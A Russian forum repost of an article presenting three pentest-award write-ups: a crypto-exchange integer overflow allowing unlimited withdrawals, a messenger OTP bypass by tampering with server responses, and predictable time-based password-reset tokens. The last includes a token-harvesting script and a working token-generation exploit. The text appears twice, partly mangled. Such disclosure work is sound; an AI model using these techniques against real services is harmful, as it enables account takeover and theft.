stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы публикуем три работы, получившие Pentest Award в номинации Fuck the Logic. В первой речь пойдет о баге, позволявшем бесконечно выводить деньги с криптобиржи, во второй — о захвате чужих аккаунтов в некой соцсети, в третьей — о ловком реверсе токенов приложения.
или Зарегистрируйся — премии для специалистов по тестированию на проникновение, которую учредила компания Awillix. Мы публикуем лучшие работы из каждой номинации.
При этом ненулевое отрицательное значение счета позволяло создать ваучеры с уже положительной суммой валюты и неограниченно вывести внутреннюю валюту на внешний криптокошелек. Для этого недобросовестному пользователю было достаточно обналичить ваучеры на втором созданном аккаунте.
Пример эксплуатации выглядел следующим образом. Во время вывода средств из личного кабинета с помощью одной из криптовалют создается тикет с указанием суммы (с расчетом комиссии) и внешнего криптокошелька.
Для просмотра ссылки Войдиили Зарегистрируйся
При этом указанная сумма для вывода средств должна была быть целочисленной и не быть меньше нуля или равной нулю.
Тем не менее при обработке запросов на стороне сервера была допущена ошибка: значение переменной cashpoints, с помощью которой уменьшалось значение суммы счета на аккаунте, позволяло передать значение, превышающее значение int.
Для просмотра ссылки Войдиили Зарегистрируйся
В результате этой ошибки при отправке запроса на вывод средств на сервер можно было передать очень большое значение переменной cashpoints. Это производило переполнение целочисленного значения счета и делало его отрицательным (при этом в интерфейсе значение счета отображалось как положительное).
Для просмотра ссылки Войдиили Зарегистрируйся
Так как запрос на вывод средств на криптокошелек требовал положительного значения, а счет был отрицательным, необходимо было придумать, как все же получить плюс. Так мы нашли функцию создания ваучеров на сайте. Она позволяет передавать другому пользователю код для пополнения счета. При этом проверки на отрицательное значение счета не происходит.
Создаем ваучеры с указанием суммы по ссылке:
При этом сумма отрицательного счета аккаунта увеличивается на это значение.
Создаем второй аккаунт и применяем созданные ваучеры:
В результате значение счета аккаунта увеличено на сумму, соответствующую ваучеру.
Создаем транзакцию, чтобы вывести деньги на внешний криптокошелек:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
В результате получаем криптовалюту.
Для просмотра ссылки Войдиили Зарегистрируйся
Так можно было бесконечно создавать ваучеры, обналичивать их на втором аккаунте и выводить деньги.
Для владельцев сайта такая уязвимость — прямой риск финансовых потерь. Кража средств почти мгновенна и необратима.
Для устранения уязвимости мы порекомендовали проверять длину входных данных и отклонять транзакцию при слишком большом значении переменной. Для уязвимости с созданием ваучеров — проверять значение баланса счета на отрицательное значение.
Приложение доступно в виде версий для iOS и Android, как вариант можно использовать веб‑интерфейс. На момент написания этой статьи только на Android насчитывается более миллиона загрузок. Версия для iOS входит в топ-200 самых популярных приложений для общения в App Store.
Анализ программы производился методом черного ящика — на основе публично доступных приложений и веб‑клиента. При анализе приложений я обнаружил хорошо настроенный SSL Pinning. На Android его удалось частично обойти с помощью кастомизации скриптов Frida. На iOS разработчики использовали последние версии защитных функций, обхода для которых пока что нет.
Главной проблемой при исследовании стало то, что приложение использовало gRPC (на основе Protobuf) для общения с сервером. Поскольку тестирование происходило методом черного ящика, proto-файла с описанием структур у меня не было. Поэтому все найденные уязвимости были обнаружены в процессе ручного анализа proto-запросов.
Чтобы работать с gRPC, я использовал расширение Для просмотра ссылки Войдиили Зарегистрируйся для Burp Suite. Однако версия из репозитория некорректно парсила поля запросов. Чтобы заставить ее нормально работать, пришлось модифицировать расширение, добавить сообщениям новый заголовок и изменить алгоритм парсинга поля Additional Data в gRPC.
Суммарно на обход SSL Pinning и модификацию расширения для Burp Suite ушла одна рабочая неделя. На ручной анализ gRPC и поиск уязвимостей в мессенджере — около трех недель. По ходу дела в приложении удалось найти три уязвимости высокого уровня опасности, одну — среднего и одну — низкого.
Для входа в приложение вводится номер телефона пользователя и капча. В ответ сервер возвращает UUID сессии аутентификации.
Для просмотра ссылки Войдиили Зарегистрируйся
Для входа в приложение пользователь должен ввести одноразовый код, полученный по SMS. Код отправляется с UUID, полученным из прошлого запроса.
При вводе неверного кода приложение вернет ответ 11. Это код ошибки, означающий, что неверно введен код OTP.
Для просмотра ссылки Войдиили Зарегистрируйся
При верном коде в значении поля возвращается null, это значит, что код корректный. Если ошибки нет, приложение создает UUID #2 (помечен красным). И отправляет эти два UUID серверу, в ответ получая сессию.
Для просмотра ссылки Войдиили Зарегистрируйся
Как видно из схемы, сервер не возвращает дополнительную информацию при отправке корректного кода. Поэтому я предположил, что UUID #2 генерируется только на основе времени.
Для проведения атаки я с помощью Burp Suite модифицировал ответ, который сервер возвращает при вводе неверного одноразового кода. Это позволило сгенерировать на клиенте верный UUID #2 для сессии и получить доступ к аккаунту.
Для просмотра ссылки Войдиили Зарегистрируйся
Запрос SMS выглядит следующим образом.
Для просмотра ссылки Войдиили Зарегистрируйся
Этот gRPC-запрос в декодированном виде содержит два поля:
или Зарегистрируйся
Ответ сервера будет таким.
Для просмотра ссылки Войдиили Зарегистрируйся
В декодированном виде ответ содержит два поля:
или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Запрос на отправку кода подтверждения производится через метод VerifyCode сервиса аутентификации.
Для просмотра ссылки Войдиили Зарегистрируйся
Запрос в декодированном виде содержит два поля:
или Зарегистрируйся
Злоумышленник перехватывает ответ сервера с ошибкой.
Для просмотра ссылки Войдиили Зарегистрируйся
В декодированном виде ответ содержит поле 1 с ошибкой 11 (некорректный код из SMS).
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
В декодированном виде:
или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Расшифрованные данные содержат два поля:
или Зарегистрируйся
В ответ на этот запрос сервер возвращает сообщение об успешном входе вместе с токеном JWT. Этот токен позволяет получить полный доступ к аккаунту жертвы.
Для просмотра ссылки Войдиили Зарегистрируйся
Для проверки уязвимости я успешно вошел в аккаунт коллеги с его разрешения.
Для просмотра ссылки Войдиили Зарегистрируйся
Оно и верно, время назад не вернуть, оно число инкрементное, а количество операций вряд ли будет таким большим, чтобы вызвать исключительную ситуацию.
Вероятность генерации одного и того же уникального идентификатора достаточно мала, около 0,01% при условии, что две операции пройдут в одну и ту же секунду. А еще в идентификаторе сразу же фиксируется время операции.
Для просмотра ссылки Войдиили Зарегистрируйся
Однако, зная время, когда произошла операция, мы имеем 100%-ю вероятность угадать этот идентификатор, так как для перебора идентификатора нам необходимо около 10 000 вариантов.
Именно из‑за этого опасны такие уязвимости, как небезопасная ссылка на объект.
Например, доступ к идентификатору через ресурс top-secret для пользователя без аутентификации.
Для просмотра ссылки Войдиили Зарегистрируйся
Причем время фигурирует не только в идентификаторе платежей, но и в идентификаторе пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
Однако есть и секреты — такие как идентификатор сессии (на скриншоте выше это skey — 28 символов) и ключ восстановления пароля, ключи к API.
Начнем с кода восстановления пароля. После запроса кода нам приходит следующее письмо.
Для просмотра ссылки Войдиили Зарегистрируйся
Очень странный токен, учитывая, что сам сайт написан на Django.
Сначала я изучил модуль django-rest-passwordreset, в нем есть уязвимость, при которой токен подходит к любому почтовому адресу, а пару лет назад в изучаемом движке была такая же уязвимость. Но токен восстановления совершенно другой.
В Django есть разные форматы токенов и путей к восстановлению паролей.
В версии 1.11:
В версии 1.8:
3.0 использует такую ссылку:
В нашем случае это [0-9].
14 байт — это много комбинаций, пусть даже из цифр, это нереально перебрать онлайн.
Часто для генерации токенов используют Для просмотра ссылки Войдиили Зарегистрируйся, например тот же mt_rand. Ломать рандомы обычно очень весело, потому что никто не понимает, как работает криптография, а потом все очень удивляются, как можно было предсказать случайное значение.
Для начала изучения нам нужно было сравнить возможные токены, проверить на инкрементность и другую предсказуемость.
Для этого мы подняли собственный SMTP-сервер, что облегчает работу с текстом письма. Запросили 10 000 кодов восстановления паролей, только вот сами письма шли много часов, а дошло около 1500. Но этого было достаточно.
Для просмотра ссылки Войдиили Зарегистрируйся
На вид нет ничего необычного, но, если отсортировать токены, будет понятно, что что‑то не так.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Первая мысль — это собственная реализация Для просмотра ссылки Войдиили Зарегистрируйся (LCG).
Мы попробовали несколько запросов для эксплуатации состояния гонки (race condition) и отправили несколько токенов.
Идея была в том, что, если отправить два запроса на восстановление пароля (на собственную почту и жертве), придут одинаковые или минимально различимые коды.
После множества попыток мы получили максимальное приближение:
И все же эти токены не давали покоя. Как будто есть какое‑то правило, которое привязано к чему‑то цикличному. Формат токена не повторяется последовательно, но повторяется время от времени.
Итак, что может быть цикличным и повторяться с изменением времени? Ну да, времена года. А еще? На самом деле ответ был в самом вопросе — это время. Часы, минуты, секунды.
Все станет понятно, как только посмотришь на время сервера. Именно тут начинается магия.
В ответе всегда есть заголовок Date.
Для просмотра ссылки Войдиили Зарегистрируйся
Что делаем?
Чтобы было понятнее, посимвольно отсортируем оба значения.
Код — 00001134555689. Заголовок Date — 0001145569.
Код восстановления — 50501015409368, это время 1591604050 + 5038, где четыре цифры — либо что‑то случайное, либо миллисекунды.
Цифры — забавная штука. Вот мы знаем, из чего состоит код, но угадать его не можем. Непонятно, каким образом формируется код, потому что, даже если мы знаем все 14 символов, у нас 87 178 291 200 вариантов комбинации их перестановки.
Для исследования я написал сценарий, который забирал время сервера и токены, чтобы записать их в базу данных SQLite.
А теперь обратимся к комбинаторике. Мы знаем, что у нас есть время (10 байт) и четыре цифры. Сортировка столбцов происходит по каким‑то правилам. Так как это не функция свертки, веб‑приложение должно видеть, по какому правилу нужно разложить ключ, чтобы получить искомое значение (дату).
Попробуем поискать аномалии токенов. Если последний символ ключа нулевой, то мы видим некоторую аномалию среди всех подобных токенов, это числа 51 и 23.
Нам нужно смотреть именно на начало таймстемпа, потому что строка 15932 статична.
Для просмотра ссылки Войдиили Зарегистрируйся
А вот что будет, когда последняя цифра — тройка.
Для просмотра ссылки Войдиили Зарегистрируйся
Такая же аномалия с 123 и 95.
Это значит, что на самом деле генерируется 13 символов timestamp, это время + миллисекунды, последнее случайное число отвечает за алгоритм перестановки.
Собираем данные для каждого токена, получаем такой эксплоит:
Для демонстрации можно взять любой email, который зарегистрирован на сайте с этим движком, и запросить восстановление пароля.
Для просмотра ссылки Войдиили Зарегистрируйся
Копируем значение заголовка Date и вставляем его в код эксплоита.
Для просмотра ссылки Войдиили Зарегистрируйся
Выполнив эксплоит, сохраняем полученные токены и смотрим в письмо. Убеждаемся, что один из наших токенов совпадает с тем, что пришел в письме.
Ах да, что там у нас было еще секретного?
Вернемся к этому скриншоту.
Для просмотра ссылки Войдиили Зарегистрируйся
Здесь id — это время.
Собираем skey:
Akey, судя по виду, — это SHA-256 от... времени?
Все идентификаторы, включая секреты, значения которых должны быть криптографически стойкими и уникальными, — это время. Считать ли это бэкдором? Не знаю.
Как это может выглядеть? Для каждого домена генерируется специальный ключ, который шифрует значение timestamp и расшифровывает строки обратно.
В результате на бэкенде текущая архитектура будет продолжать работать в том же виде, что и сейчас, но все строки с датой будут заменены криптостойкими хешами вида 71ccca0995eebbc9315547f2ca76ee67 (или cczKCZXuu8kxVUfyynbuZw==, кому как больше нравится), которые не расшифровать без ключа. Ну или можно просто генерить криптостойкие строки.
Pentest Award
Для просмотра ссылки ВойдиЧетвертое место: «Уязвимость переполнения целочисленной переменной и возможность без ограничений выводить средства на криптокошелек»
- Автор: arteb123
При этом ненулевое отрицательное значение счета позволяло создать ваучеры с уже положительной суммой валюты и неограниченно вывести внутреннюю валюту на внешний криптокошелек. Для этого недобросовестному пользователю было достаточно обналичить ваучеры на втором созданном аккаунте.
Пример эксплуатации выглядел следующим образом. Во время вывода средств из личного кабинета с помощью одной из криптовалют создается тикет с указанием суммы (с расчетом комиссии) и внешнего криптокошелька.
Для просмотра ссылки Войди
При этом указанная сумма для вывода средств должна была быть целочисленной и не быть меньше нуля или равной нулю.
Тем не менее при обработке запросов на стороне сервера была допущена ошибка: значение переменной cashpoints, с помощью которой уменьшалось значение суммы счета на аккаунте, позволяло передать значение, превышающее значение int.
Для просмотра ссылки Войди
В результате этой ошибки при отправке запроса на вывод средств на сервер можно было передать очень большое значение переменной cashpoints. Это производило переполнение целочисленного значения счета и делало его отрицательным (при этом в интерфейсе значение счета отображалось как положительное).
Для просмотра ссылки Войди
Так как запрос на вывод средств на криптокошелек требовал положительного значения, а счет был отрицательным, необходимо было придумать, как все же получить плюс. Так мы нашли функцию создания ваучеров на сайте. Она позволяет передавать другому пользователю код для пополнения счета. При этом проверки на отрицательное значение счета не происходит.
Создаем ваучеры с указанием суммы по ссылке:
[URL unfurl="true"]https://example.com/account/voucher/create[/URL]
При этом сумма отрицательного счета аккаунта увеличивается на это значение.
Создаем второй аккаунт и применяем созданные ваучеры:
[URL unfurl="true"]https://example.com/account/voucher/redeem[/URL]
В результате значение счета аккаунта увеличено на сумму, соответствующую ваучеру.
Создаем транзакцию, чтобы вывести деньги на внешний криптокошелек:
Для просмотра ссылки Войди
>t
Для просмотра ссылки Войди
В результате получаем криптовалюту.
Для просмотра ссылки Войди
Так можно было бесконечно создавать ваучеры, обналичивать их на втором аккаунте и выводить деньги.
Вывод
Используя найденную цепочку уязвимостей, мы для демонстрации вывели средства, эквивалентные 8,26 и 4,13 доллара США. При этом первоначальный баланс обоих аккаунтов был равен нулю и пополнения кошельков не производилось.Для владельцев сайта такая уязвимость — прямой риск финансовых потерь. Кража средств почти мгновенна и необратима.
Для устранения уязвимости мы порекомендовали проверять длину входных данных и отклонять транзакцию при слишком большом значении переменной. Для уязвимости с созданием ваучеров — проверять значение баланса счета на отрицательное значение.
Третье место: «Захват любого аккаунта в мессенджере»
- Автор: Денис Погонин, Для просмотра ссылки Войди
или Зарегистрируйся
Приложение доступно в виде версий для iOS и Android, как вариант можно использовать веб‑интерфейс. На момент написания этой статьи только на Android насчитывается более миллиона загрузок. Версия для iOS входит в топ-200 самых популярных приложений для общения в App Store.
Анализ программы производился методом черного ящика — на основе публично доступных приложений и веб‑клиента. При анализе приложений я обнаружил хорошо настроенный SSL Pinning. На Android его удалось частично обойти с помощью кастомизации скриптов Frida. На iOS разработчики использовали последние версии защитных функций, обхода для которых пока что нет.
Главной проблемой при исследовании стало то, что приложение использовало gRPC (на основе Protobuf) для общения с сервером. Поскольку тестирование происходило методом черного ящика, proto-файла с описанием структур у меня не было. Поэтому все найденные уязвимости были обнаружены в процессе ручного анализа proto-запросов.
Чтобы работать с gRPC, я использовал расширение Для просмотра ссылки Войди
Суммарно на обход SSL Pinning и модификацию расширения для Burp Suite ушла одна рабочая неделя. На ручной анализ gRPC и поиск уязвимостей в мессенджере — около трех недель. По ходу дела в приложении удалось найти три уязвимости высокого уровня опасности, одну — среднего и одну — низкого.
Принцип атаки
Так как название полей было неизвестно, на схеме они представлены цифрами (идентификаторами полей).Для входа в приложение вводится номер телефона пользователя и капча. В ответ сервер возвращает UUID сессии аутентификации.
Для просмотра ссылки Войди
Для входа в приложение пользователь должен ввести одноразовый код, полученный по SMS. Код отправляется с UUID, полученным из прошлого запроса.
При вводе неверного кода приложение вернет ответ 11. Это код ошибки, означающий, что неверно введен код OTP.
Для просмотра ссылки Войди
При верном коде в значении поля возвращается null, это значит, что код корректный. Если ошибки нет, приложение создает UUID #2 (помечен красным). И отправляет эти два UUID серверу, в ответ получая сессию.
Для просмотра ссылки Войди
Как видно из схемы, сервер не возвращает дополнительную информацию при отправке корректного кода. Поэтому я предположил, что UUID #2 генерируется только на основе времени.
Для проведения атаки я с помощью Burp Suite модифицировал ответ, который сервер возвращает при вводе неверного одноразового кода. Это позволило сгенерировать на клиенте верный UUID #2 для сессии и получить доступ к аккаунту.
Для просмотра ссылки Войди
Атака
Шаг 1. Запрос на отправку SMS (создание новой сессии аутентификации)
Первым вызывается метод SendCodeRecaptcha сервиса аутентификации (AuthService).Запрос SMS выглядит следующим образом.
Для просмотра ссылки Войди
Этот gRPC-запрос в декодированном виде содержит два поля:
- поле 1 — номер телефона (+79...);
- поле 2 — reCAPTCHA (03A...).
Ответ сервера будет таким.
Для просмотра ссылки Войди
В декодированном виде ответ содержит два поля:
- поле 2 — UUID сессии аутентификации, который будет использован при дальнейших запросах (e94f46ce-c9f1-11eb-9433-027eb92e4dfc);
- поле 4 — секунды до того, как можно будет отправить еще одну SMS на тот же номер (120 секунд).
Шаг 2. Ввод одноразового кода из SMS
Далее злоумышленник вводит случайный код подтверждения (OTP) и отправляет запрос.Для просмотра ссылки Войди
Запрос на отправку кода подтверждения производится через метод VerifyCode сервиса аутентификации.
Для просмотра ссылки Войди
Запрос в декодированном виде содержит два поля:
- поле 1 — UUID сессии аутентификации (содержимое поля 2 из ответа сервера на прошлом шаге);
- поле 2 — код подтверждения из SMS (2345).
Злоумышленник перехватывает ответ сервера с ошибкой.
Для просмотра ссылки Войди
В декодированном виде ответ содержит поле 1 с ошибкой 11 (некорректный код из SMS).
Для просмотра ссылки Войди
Шаг 3. Подмена ответа сервера с ошибки на успешный
Для атаки злоумышленник подменяет ответ сервера: вместо ответа с ошибкой придет сообщение об успешном вводе кода из SMS.Для просмотра ссылки Войди
В декодированном виде:
- поле 1 — определяет ошибки от сервера (пустой массив);
- поле 2 — предположительно передает значение успеха о вводе кода (True).
Шаг 4. Генерация кода подтверждения и отправка запроса на вход в систему
На основе успешного ответа JavaScript генерирует код подтверждения. Данные для входа в приложение отправляет метод SignIn сервиса аутентификации.Для просмотра ссылки Войди
Расшифрованные данные содержат два поля:
- поле 1 — UUID сессии аутентификации из прошлых запросов;
- поле 3 — код подтверждения (UUID #2), генерируемый сайтом при успешном вводе кода из SMS.
В ответ на этот запрос сервер возвращает сообщение об успешном входе вместе с токеном JWT. Этот токен позволяет получить полный доступ к аккаунту жертвы.
Для просмотра ссылки Войди
Для проверки уязвимости я успешно вошел в аккаунт коллеги с его разрешения.
Выводы
Итак, мне удалось продемонстрировать возможность захвата чужой учетной записи. Чтобы закрыть эту дыру, разработчику достаточно перенести на сервер генерацию данных, необходимых для входа в аккаунт. Когда я тестировал эту уязвимость во второй раз, механизм был переработан: генерация второго кода (UUID #2) теперь производится на основе одноразового кода и времени, количество отправок также ограничено.info
Автор работы, занявшей второе место, отказался от публикации по неизвестным причинам.
Первое место: «Абьюз работы токенов на основе временных меток»
- Автор: i_bo0om
Для просмотра ссылки Войди
Оно и верно, время назад не вернуть, оно число инкрементное, а количество операций вряд ли будет таким большим, чтобы вызвать исключительную ситуацию.
Вероятность генерации одного и того же уникального идентификатора достаточно мала, около 0,01% при условии, что две операции пройдут в одну и ту же секунду. А еще в идентификаторе сразу же фиксируется время операции.
Для просмотра ссылки Войди
Однако, зная время, когда произошла операция, мы имеем 100%-ю вероятность угадать этот идентификатор, так как для перебора идентификатора нам необходимо около 10 000 вариантов.
Именно из‑за этого опасны такие уязвимости, как небезопасная ссылка на объект.
Например, доступ к идентификатору через ресурс top-secret для пользователя без аутентификации.
[URL unfurl="true"]https://top-secret.com/order/15912220586459?json=true[/URL]
Для просмотра ссылки Войди
Причем время фигурирует не только в идентификаторе платежей, но и в идентификаторе пользователя.
Для просмотра ссылки Войди
Однако есть и секреты — такие как идентификатор сессии (на скриншоте выше это skey — 28 символов) и ключ восстановления пароля, ключи к API.
Начнем с кода восстановления пароля. После запроса кода нам приходит следующее письмо.
Для просмотра ссылки Войди
Очень странный токен, учитывая, что сам сайт написан на Django.
Сначала я изучил модуль django-rest-passwordreset, в нем есть уязвимость, при которой токен подходит к любому почтовому адресу, а пару лет назад в изучаемом движке была такая же уязвимость. Но токен восстановления совершенно другой.
В Django есть разные форматы токенов и путей к восстановлению паролей.
В версии 1.11:
reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$
В версии 1.8:
^reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$
3.0 использует такую ссылку:
accounts/reset/<uidb64>/<token>/
В нашем случае это [0-9].
14 байт — это много комбинаций, пусть даже из цифр, это нереально перебрать онлайн.
Часто для генерации токенов используют Для просмотра ссылки Войди
Для начала изучения нам нужно было сравнить возможные токены, проверить на инкрементность и другую предсказуемость.
Для этого мы подняли собственный SMTP-сервер, что облегчает работу с текстом письма. Запросили 10 000 кодов восстановления паролей, только вот сами письма шли много часов, а дошло около 1500. Но этого было достаточно.
Для просмотра ссылки Войди
На вид нет ничего необычного, но, если отсортировать токены, будет понятно, что что‑то не так.
Для просмотра ссылки Войди
Первая мысль — это собственная реализация Для просмотра ссылки Войди
Мы попробовали несколько запросов для эксплуатации состояния гонки (race condition) и отправили несколько токенов.
Идея была в том, что, если отправить два запроса на восстановление пароля (на собственную почту и жертве), придут одинаковые или минимально различимые коды.
После множества попыток мы получили максимальное приближение:
- почта 1: 567 94 300990116;
- почта 2: 567 56 301990116.
И все же эти токены не давали покоя. Как будто есть какое‑то правило, которое привязано к чему‑то цикличному. Формат токена не повторяется последовательно, но повторяется время от времени.
Итак, что может быть цикличным и повторяться с изменением времени? Ну да, времена года. А еще? На самом деле ответ был в самом вопросе — это время. Часы, минуты, секунды.
Все станет понятно, как только посмотришь на время сервера. Именно тут начинается магия.
В ответе всегда есть заголовок Date.
Для просмотра ссылки Войди
Что делаем?
- Запрашиваем пароль.
- Смотрим, что в ответе веб‑приложения есть заголовок Date: Date: Mon, 08 Jun 2020 08:14:10 GMT.
- Переводим эту дату в timestamp (есть Для просмотра ссылки Войди
или Зарегистрируйся). В данном случае это будет 1591604050. - Сравниваем с полученным кодом — 50501015409368.
Чтобы было понятнее, посимвольно отсортируем оба значения.
Код — 00001134555689. Заголовок Date — 0001145569.
Код восстановления — 50501015409368, это время 1591604050 + 5038, где четыре цифры — либо что‑то случайное, либо миллисекунды.
Цифры — забавная штука. Вот мы знаем, из чего состоит код, но угадать его не можем. Непонятно, каким образом формируется код, потому что, даже если мы знаем все 14 символов, у нас 87 178 291 200 вариантов комбинации их перестановки.
Для исследования я написал сценарий, который забирал время сервера и токены, чтобы записать их в базу данных SQLite.
Код:
import asyncio
import aiosqlite
import logging
import sqlite3
import requests
from aiosmtpd.controller import Controller
# tbl_empty = 'DELETE FROM emails;'
tbl = '''
CREATE TABLE IF NOT EXISTS emails (
id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
data TEXT,
token TEXT,
date DATETIME DEFAULT CURRENT_TIMESTAMP
);
'''
tbl_ts = '''
CREATE TABLE IF NOT EXISTS timestamps (
id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
serverdate TEXT
);
'''
cookies = {
'csrftoken': 'mCR8a2gnBrliEVp1F2KlKYxSC9yfXdpWDXyMQNJvAq56ulnieVnhb3LTTcc2T4aQ',
}
postdata = {
'csrfmiddlewaretoken': 'HS1bHsCw7WKfAMnb4718xgM4PjVkrDLjYdIPnd5E6Vu3qclsD0E4Yl056mz7nuwd',
'email': 'shaitan@24radio.ru'
}
headers = {
'Referer': 'https://top-secret.com/'
}
url = 'https://top-secret.com/request_password_recovery'
async def sendmsg():
r = requests.post(url, data=postdata, cookies=cookies, headers=headers)
await ins_ts_data(r.headers['Date'])
ins = 'INSERT INTO emails(data,token) VALUES (?,?)'
ins_ts = 'INSERT INTO timestamps(serverdate) VALUES (?)'
async def ins_data(d, t):
db = await aiosqlite.connect('emails.db')
await db.execute(ins, (d, t,))
await db.commit()
await db.close()
async def ins_ts_data(t):
db = await aiosqlite.connect('emails.db')
await db.execute(ins_ts, (t,))
await db.commit()
await db.close()
class CustomHandler:
cnt = 0
async def handle_DATA(self, server, session, envelope):
peer = session.peer
mail_from = envelope.mail_from
rcpt_tos = envelope.rcpt_tos
data = envelope.content
tkn_f = data.find(b'token=')
if tkn_f >= 0:
await ins_data(data, data[tkn_f+6:tkn_f+20])
await sendmsg()
self.cnt += 1
print(self.cnt)
return '250 OK'
if name == 'main':
logging.getLogger("asyncio").setLevel(logging.INFO)
logging.getLogger("asyncio").info("TEST")
conn = sqlite3.connect('emails.db')
conn.execute(tbl)
conn.execute(tbl_ts)
conn.commit()
r = requests.post(url, data=postdata, cookies=cookies, headers=headers)
conn.execute(ins_ts, (r.headers['Date'],))
conn.commit()
conn.close()
handler = CustomHandler()
controller = Controller(handler, port=25)
# Run the event loop in a separate thread
controller.start()
# Wait for the user to press Return
input('SMTP server running. Press Return to stop server and exit.')
controller.stop()
В результате удалось собрать около 150 токенов восстановления и значений времени:
30593017099328 - 1593200939 => 7038
92945501325007 - 1593200945 => 2507
54042258990136 - 1593200954 => 4286
55082265990136 - 1593200965 => 8256
74123809495043 - 1593200974 => 8443
80123709695003 - 1593200980 => 7603
31200950996001 - 1593200990 => 6001
90018923709459 - 1593200997 => 8049
01123800995143 - 1593201004 => 8913
21151066940230 - 1593201016 => 6420
98023511322077 - 1593201023 => 8277
36123400495113 - 1593201031 => 6443
09193153200264 - 1593201039 => 0264
56098248901136 - 1593201046 => 8896
04195153230314 - 1593201054 => 3314
01261739005825 - 1593201062 => 7085
А теперь обратимся к комбинаторике. Мы знаем, что у нас есть время (10 байт) и четыре цифры. Сортировка столбцов происходит по каким‑то правилам. Так как это не функция свертки, веб‑приложение должно видеть, по какому правилу нужно разложить ключ, чтобы получить искомое значение (дату).
Попробуем поискать аномалии токенов. Если последний символ ключа нулевой, то мы видим некоторую аномалию среди всех подобных токенов, это числа 51 и 23.
Нам нужно смотреть именно на начало таймстемпа, потому что строка 15932 статична.
Для просмотра ссылки Войди
А вот что будет, когда последняя цифра — тройка.
Для просмотра ссылки Войди
Такая же аномалия с 123 и 95.
Это значит, что на самом деле генерируется 13 символов timestamp, это время + миллисекунды, последнее случайное число отвечает за алгоритм перестановки.
Собираем данные для каждого токена, получаем такой эксплоит:
Код:
import calendar, time;
date = "Sun, 05 Jul 2020 13:59:22 GMT"
def permute(t, inv=False):
if t[-1] == "0": perm = [4,3,8,12,11,5,2,10,1,6,0,9,7,13]
if t[-1] == "1": perm = [0,6,8,1,2,12,4,5,9,3,7,11,10,13]
if t[-1] == "2": perm = [3,1,10,5,8,12,4,0,7,11,9,2,6,13]
if t[-1] == "3": perm = [2,10,9,4,3,6,11,7,0,12,8,1,5,13]
if t[-1] == "4": perm = [2,6,3,7,8,10,5,0,4,1,9,11,12,13]
if t[-1] == "5": perm = [1,10,7,6,2,0,4,9,3,12,8,5,11,13]
if t[-1] == "6": perm = [11,0,8,12,5,2,10,9,6,1,4,7,3,13]
if t[-1] == "7": perm = [7,5,0,8,9,11,6,2,3,4,12,10,1,13]
if t[-1] == "8": perm = [4,2,10,6,12,1,8,9,0,3,5,7,11,13]
if t[-1] == "9": perm = [3,12,0,7,6,9,1,10,5,8,11,2,4,13]
assert list(sorted(perm)) == list(range(14))
if inv:
perm = [perm.index(i) for i in range(14)]
return "".join(t for i in perm)
for i in range(10000):
print (permute(str(calendar.timegm(time.strptime(date, '%a, %d %b %Y %H:%M:%S GMT')))+"{0:04}".format(i), inv=True))
Для демонстрации можно взять любой email, который зарегистрирован на сайте с этим движком, и запросить восстановление пароля.
Для просмотра ссылки Войди
Копируем значение заголовка Date и вставляем его в код эксплоита.
Для просмотра ссылки Войди
Выполнив эксплоит, сохраняем полученные токены и смотрим в письмо. Убеждаемся, что один из наших токенов совпадает с тем, что пришел в письме.
Ах да, что там у нас было еще секретного?
Вернемся к этому скриншоту.
Для просмотра ссылки Войди
Здесь id — это время.
Собираем skey:
Код:
8979529143354119210935903611
4476293516911019210935903611
5265099351791619210935903611
0390996461518719210935903611
3215920613914919210935903611
7769931151012919210935903611
4936693510915119210935903611
8919116173056119210935903611
Время + ID пользователя?
Akey, судя по виду, — это SHA-256 от... времени?
Все идентификаторы, включая секреты, значения которых должны быть криптографически стойкими и уникальными, — это время. Считать ли это бэкдором? Не знаю.
Как это можно пофиксить
Насколько я понимаю, никто переделывать текущую архитектуру не будет, поэтому, если совсем не хочется использовать криптографически стойкие генераторы случайных чисел, стоит рассмотреть хотя бы шифрование на уровне клиентских запросов.Как это может выглядеть? Для каждого домена генерируется специальный ключ, который шифрует значение timestamp и расшифровывает строки обратно.
Код:
$plaintext = 51910139060232;
$password = 'Hello 123';
$method = 'aes-256-cbc';
$key = substr(hash('sha256', $password, true), 0, 32);
echo "Password: " . $password . "\n";
Код:
// Вектор инициализации должен быть кратен длине ключа.
// Он на самом деле может быть ненулевым, также он не является секретом, и его, по идее, можно передавать в открытом виде.
// А раз его можно передавать, можно держать его статичным, хотя если менять его — меняется шифротекст.
$iv = chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3);
echo 'plaintext ' . $plaintext . "\n";
echo 'encrypted (base64_encode) to: ' . base64_encode(openssl_encrypt($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n";
echo 'encrypted (hex) to: ' . bin2hex(openssl_encrypt($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n";
$decrypted = openssl_decrypt(base64_decode("QzEIPRoI6RllFGnAG0z0PQ=="), $method, $key, OPENSSL_RAW_DATA, $iv);